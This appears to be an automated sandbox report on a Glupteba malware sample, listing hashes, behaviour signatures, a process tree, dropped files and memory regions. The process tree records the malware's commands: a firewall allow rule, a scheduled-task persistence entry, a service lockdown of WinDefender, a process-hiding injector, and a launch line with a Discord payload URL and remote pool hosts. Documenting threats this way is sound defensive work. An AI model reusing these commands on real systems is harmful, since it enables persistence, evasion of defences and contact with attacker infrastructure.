Analysis

  • max time kernel
    299s
  • max time network
    301s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09/05/2024, 22:32

General

  • Target

    046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27.exe

  • Size

    4.1MB

  • MD5

    02a79bce334d75092e310e6a574a2b77

  • SHA1

    96fb763797665e42fa509f77f4ed9bbf090ae234

  • SHA256

    046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27

  • SHA512

    4bb426d59219b1b1f1e6dd5c9a09c62330e4bdddc4edb349d625d5219146c42949fdd4128999acd9b9ded7f42afad828f43d49f8e237bc39ebad4dd592761173

  • SSDEEP

    98304:MNDkrDkWF0Od7Bbpe5aREltWx6CTK/peOvQS+4COpa+y:qor6Od7re5aRZx6kgpe94ClT

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 32 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 7 IoCs
  • UPX packed file 22 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 10 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27.exe
    "C:\Users\Admin\AppData\Local\Temp\046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532
    • C:\Users\Admin\AppData\Local\Temp\046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27.exe
      "C:\Users\Admin\AppData\Local\Temp\046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27.exe"
      2⤵
      • Windows security bypass
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3368
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4480
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3596
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -nologo -noprofile
        3⤵
        • Drops file in System32 directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:364
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Manipulates WinMonFS driver.
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2352
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:3096
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /delete /tn ScheduledUpdate /f
          4⤵
            PID:3372
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4248
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1512
          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:1184
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:3380
          • C:\Windows\windefender.exe
            "C:\Windows\windefender.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4168
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3028
              • C:\Windows\SysWOW64\sc.exe
                sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                6⤵
                • Launches sc.exe
                • Suspicious use of AdjustPrivilegeToken
                PID:3092
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2592
          • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
            4⤵
            • Executes dropped EXE
            PID:1960
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:3536
          • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
            4⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            PID:2812
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Drops file in System32 directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:4952
          • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
            4⤵
            • Executes dropped EXE
            PID:4720
    • C:\Windows\windefender.exe
      C:\Windows\windefender.exe
      1⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:428

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2acus0z.nkr.ps1

            Filesize

            1B

            MD5

            c4ca4238a0b923820dcc509a6f75849b

            SHA1

            356a192b7913b04c54574d18c28d46e6395428ab

            SHA256

            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

            SHA512

            4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

          • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

            Filesize

            2.0MB

            MD5

            1bf850b4d9587c1017a75a47680584c4

            SHA1

            75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

            SHA256

            ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

            SHA512

            ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

          • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

            Filesize

            2.8MB

            MD5

            713674d5e968cbe2102394be0b2bae6f

            SHA1

            90ac9bd8e61b2815feb3599494883526665cb81e

            SHA256

            f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

            SHA512

            e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

          • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

            Filesize

            2.0MB

            MD5

            dcb505dc2b9d8aac05f4ca0727f5eadb

            SHA1

            4f633edb62de05f3d7c241c8bc19c1e0be7ced75

            SHA256

            61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

            SHA512

            31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

          • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

            Filesize

            281KB

            MD5

            d98e33b66343e7c96158444127a117f6

            SHA1

            bb716c5509a2bf345c6c1152f6e3e1452d39d50d

            SHA256

            5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

            SHA512

            705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            db01a2c1c7e70b2b038edf8ad5ad9826

            SHA1

            540217c647a73bad8d8a79e3a0f3998b5abd199b

            SHA256

            413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

            SHA512

            c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            1a3c2c71385fbfd9b538a087d91b135f

            SHA1

            1f473c2391efc05fb3586d112831151119ad4228

            SHA256

            3fe32bf01d500bb3067123e275af494d7b83c173baee3ac3f06acc681f142ffd

            SHA512

            e1bba5d757718ba2eac6d2de1b2392ac7951e161f66807e7d40a1edc39dfeafada5de6caf3f4efe6e9b5e262819524c2c884041458cee19f6cc591ddaeec6ec9

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            62fc3fd14ef29cfc7a4d07dfa0fd6e82

            SHA1

            af6f44b3e40f9b9f5e5bb5441826fa1512b8fced

            SHA256

            5e98e714ba881255a51e5ba5fd1429d0eedca73e7e5d94f3609ebcf51bd5a834

            SHA512

            3d7bcfb01087d52d093ea185044872758a4d1ea56f8de4eec0ef15020d682ca9e6a7d545241057b58fb69786dfc16779d2494ca1478555dce9320c47bb4d92e4

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            be40427cbca19080b22bdde7d1a4d091

            SHA1

            81ce0e5ddf749bae6b2e531c819abd0718587118

            SHA256

            9f8ef66490b682604c9cd0827f99541779fc539c0fa0eeb5c09fc12c5fe9b202

            SHA512

            05c7aa3b72935d25b4079a96560918684b96abac12e85abc89214ee05690814208b9ffb45f9e925bc674c6f7da0ad7ed546df38c0f20c08b7758b06c73d861c3

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            90e35a46d1ff3ce2f0fc34777ed7d7e4

            SHA1

            abd73cb480ea3467cbba8f09cf3af8908b2cbdbd

            SHA256

            d28b42e605c5f971079a6bf0d8ae96304acd2de84533e2f9dabf7c3c833eacc4

            SHA512

            ee4d0a2dfb5c7309f0fa4ea95ec804e212778cfeb2edcc3d6099563839c498ad6468ad0f567b35ef09fafcd3b77628c14c404a036de2de12bc9e3faada22600e

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            a825b55904e1d5b408168af1c913ff7a

            SHA1

            555ee897053b0e2d54021163b5476ef25e257646

            SHA256

            9ba02a595185fad15806c923798ff69bf2670007ea1de9e225b01bd629754aa3

            SHA512

            46f61edb4d11831e047646f362ec7927e48ce5bf37ce95188cf6c87ebe3c52fd37ebcf9d64ef23eb8ebf97608565077e6b702112a44dc47e5f1e657288741b78

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            8e8420a974c48c783e4e2cfe9687086f

            SHA1

            9892e5e6f73f1dd0c531721bd149d1cfd625fb29

            SHA256

            a474c17538c101fe5fbf79a50275c6cb7a012141d2dd44544b2173814e0578ed

            SHA512

            3408ef80a1812b19e65076540cf148c4bc37c378f80b588c7e8d73e89869948eda478474f988ea501d48b58f909ff139fa9898e6ea15a542c48cd541de0bc1cc

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            ee3c31111a027f6ed3d3c86d54f12a4b

            SHA1

            a070e9c511711676861d672f30fd8e05ffad6010

            SHA256

            92eb208312b9034607e52fee90c729179c26dec13e2d25b75027d8db65cc830e

            SHA512

            d632d848b4165a438c70a243f79428e6b112f03170c19cc15b6b10a0d741e52e01d8ff54ca042cf7f58969b87ea9176f9ea35c997827dc15a7d036320c8e5102

          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

            Filesize

            18KB

            MD5

            9d02fa4ee599be579168ab2c7987a921

            SHA1

            89e84afad29e6ed706541595e24afbacbb918b4f

            SHA256

            d4e2646602e7c32e7c982e2d3a2d2191bb9b4178eabf2a392b370cc2b0aa0f1e

            SHA512

            782637695b6bc966ed7733ae5f6c9229afde23bbae704da2af24fcd4eeda63c521ca97c03f70dd353949d2ec146a05428d09bd4495b15af821e5a9caf96a2ac5

          • C:\Windows\rss\csrss.exe

            Filesize

            4.1MB

            MD5

            02a79bce334d75092e310e6a574a2b77

            SHA1

            96fb763797665e42fa509f77f4ed9bbf090ae234

            SHA256

            046bbc5bd1fa1d372ab1ef4026952faa685ce106f833284836d21813a9f22b27

            SHA512

            4bb426d59219b1b1f1e6dd5c9a09c62330e4bdddc4edb349d625d5219146c42949fdd4128999acd9b9ded7f42afad828f43d49f8e237bc39ebad4dd592761173

          • C:\Windows\windefender.exe

            Filesize

            2.0MB

            MD5

            8e67f58837092385dcf01e8a2b4f5783

            SHA1

            012c49cfd8c5d06795a6f67ea2baf2a082cf8625

            SHA256

            166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

            SHA512

            40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

          • memory/364-806-0x000000006FEF0000-0x000000006FF3B000-memory.dmp

            Filesize

            300KB

          • memory/364-807-0x000000006FF40000-0x0000000070290000-memory.dmp

            Filesize

            3.3MB

          • memory/428-1752-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/428-1749-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/428-1756-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/428-1762-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/524-2-0x00000000049B0000-0x000000000529B000-memory.dmp

            Filesize

            8.9MB

          • memory/524-1-0x00000000045B0000-0x00000000049AD000-memory.dmp

            Filesize

            4.0MB

          • memory/524-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

            Filesize

            9.1MB

          • memory/524-301-0x0000000000400000-0x0000000000D1C000-memory.dmp

            Filesize

            9.1MB

          • memory/524-299-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/524-300-0x00000000049B0000-0x000000000529B000-memory.dmp

            Filesize

            8.9MB

          • memory/1512-1523-0x000000006FDA0000-0x000000006FDEB000-memory.dmp

            Filesize

            300KB

          • memory/1512-1524-0x000000006FDF0000-0x0000000070140000-memory.dmp

            Filesize

            3.3MB

          • memory/1644-2520-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-2532-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1767-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1765-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-2516-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-2272-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1763-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1771-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-2524-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1773-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1775-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-2528-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1761-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1769-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1759-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1757-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1777-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1755-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1753-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1779-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1781-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1751-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1783-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1785-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1742-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1644-1787-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/1960-2130-0x0000000000400000-0x00000000008E1000-memory.dmp

            Filesize

            4.9MB

          • memory/1960-2031-0x0000000000400000-0x00000000008E1000-memory.dmp

            Filesize

            4.9MB

          • memory/2316-306-0x0000000007D30000-0x0000000007D7B000-memory.dmp

            Filesize

            300KB

          • memory/2316-305-0x0000000007DE0000-0x0000000008130000-memory.dmp

            Filesize

            3.3MB

          • memory/2316-331-0x00000000095D0000-0x0000000009675000-memory.dmp

            Filesize

            660KB

          • memory/2316-326-0x000000006FF40000-0x0000000070290000-memory.dmp

            Filesize

            3.3MB

          • memory/2316-325-0x000000006FEF0000-0x000000006FF3B000-memory.dmp

            Filesize

            300KB

          • memory/2352-1055-0x00000000094C0000-0x0000000009565000-memory.dmp

            Filesize

            660KB

          • memory/2352-1028-0x0000000007BA0000-0x0000000007EF0000-memory.dmp

            Filesize

            3.3MB

          • memory/2352-1030-0x0000000008480000-0x00000000084CB000-memory.dmp

            Filesize

            300KB

          • memory/2352-1049-0x000000006FE50000-0x000000006FE9B000-memory.dmp

            Filesize

            300KB

          • memory/2352-1050-0x000000006FEA0000-0x00000000701F0000-memory.dmp

            Filesize

            3.3MB

          • memory/2532-14-0x0000000007C30000-0x0000000007F80000-memory.dmp

            Filesize

            3.3MB

          • memory/2532-280-0x000000000A110000-0x000000000A118000-memory.dmp

            Filesize

            32KB

          • memory/2532-8-0x00000000730C0000-0x00000000737AE000-memory.dmp

            Filesize

            6.9MB

          • memory/2532-13-0x0000000007BC0000-0x0000000007C26000-memory.dmp

            Filesize

            408KB

          • memory/2532-12-0x00000000072E0000-0x0000000007346000-memory.dmp

            Filesize

            408KB

          • memory/2532-66-0x0000000009110000-0x0000000009186000-memory.dmp

            Filesize

            472KB

          • memory/2532-10-0x00000000730C0000-0x00000000737AE000-memory.dmp

            Filesize

            6.9MB

          • memory/2532-9-0x00000000073B0000-0x00000000079D8000-memory.dmp

            Filesize

            6.2MB

          • memory/2532-7-0x0000000004B50000-0x0000000004B86000-memory.dmp

            Filesize

            216KB

          • memory/2532-6-0x00000000730CE000-0x00000000730CF000-memory.dmp

            Filesize

            4KB

          • memory/2532-298-0x00000000730C0000-0x00000000737AE000-memory.dmp

            Filesize

            6.9MB

          • memory/2532-11-0x0000000007240000-0x0000000007262000-memory.dmp

            Filesize

            136KB

          • memory/2532-275-0x000000000A130000-0x000000000A14A000-memory.dmp

            Filesize

            104KB

          • memory/2532-82-0x000000000A1D0000-0x000000000A264000-memory.dmp

            Filesize

            592KB

          • memory/2532-73-0x0000000009F70000-0x0000000009FA3000-memory.dmp

            Filesize

            204KB

          • memory/2532-74-0x000000006FDD0000-0x000000006FE1B000-memory.dmp

            Filesize

            300KB

          • memory/2532-75-0x000000006FE20000-0x0000000070170000-memory.dmp

            Filesize

            3.3MB

          • memory/2532-81-0x0000000009FB0000-0x000000000A055000-memory.dmp

            Filesize

            660KB

          • memory/2532-15-0x0000000007FD0000-0x0000000007FEC000-memory.dmp

            Filesize

            112KB

          • memory/2532-76-0x0000000009F50000-0x0000000009F6E000-memory.dmp

            Filesize

            120KB

          • memory/2532-16-0x0000000008010000-0x000000000805B000-memory.dmp

            Filesize

            300KB

          • memory/2532-35-0x0000000009050000-0x000000000908C000-memory.dmp

            Filesize

            240KB

          • memory/2592-1812-0x000000006FCB0000-0x000000006FCFB000-memory.dmp

            Filesize

            300KB

          • memory/2592-1813-0x000000006FD20000-0x0000000070070000-memory.dmp

            Filesize

            3.3MB

          • memory/2592-1793-0x0000000007A10000-0x0000000007A5B000-memory.dmp

            Filesize

            300KB

          • memory/2592-1818-0x0000000008F20000-0x0000000008FC5000-memory.dmp

            Filesize

            660KB

          • memory/2592-1791-0x00000000073C0000-0x0000000007710000-memory.dmp

            Filesize

            3.3MB

          • memory/2812-2533-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/2812-2525-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/2812-2529-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/2812-2521-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/2812-2273-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/2812-2517-0x0000000000C50000-0x000000000151D000-memory.dmp

            Filesize

            8.8MB

          • memory/3368-1023-0x0000000000400000-0x0000000002957000-memory.dmp

            Filesize

            37.3MB

          • memory/3536-2034-0x0000000007570000-0x00000000078C0000-memory.dmp

            Filesize

            3.3MB

          • memory/3536-2055-0x000000006FD00000-0x0000000070050000-memory.dmp

            Filesize

            3.3MB

          • memory/3536-2054-0x000000006FCB0000-0x000000006FCFB000-memory.dmp

            Filesize

            300KB

          • memory/3596-568-0x000000006FF40000-0x0000000070290000-memory.dmp

            Filesize

            3.3MB

          • memory/3596-567-0x000000006FEF0000-0x000000006FF3B000-memory.dmp

            Filesize

            300KB

          • memory/4168-1747-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4168-1750-0x0000000000400000-0x00000000008DF000-memory.dmp

            Filesize

            4.9MB

          • memory/4248-1288-0x000000006FDF0000-0x0000000070140000-memory.dmp

            Filesize

            3.3MB

          • memory/4248-1268-0x0000000008A20000-0x0000000008A6B000-memory.dmp

            Filesize

            300KB

          • memory/4248-1266-0x00000000080F0000-0x0000000008440000-memory.dmp

            Filesize

            3.3MB

          • memory/4248-1293-0x0000000009A40000-0x0000000009AE5000-memory.dmp

            Filesize

            660KB

          • memory/4248-1287-0x000000006FDA0000-0x000000006FDEB000-memory.dmp

            Filesize

            300KB

          • memory/4720-2519-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/4720-2514-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/4720-2526-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/4720-2531-0x0000000000400000-0x00000000008E8000-memory.dmp

            Filesize

            4.9MB

          • memory/4952-2297-0x000000006FD00000-0x0000000070050000-memory.dmp

            Filesize

            3.3MB

          • memory/4952-2296-0x000000006FCB0000-0x000000006FCFB000-memory.dmp

            Filesize

            300KB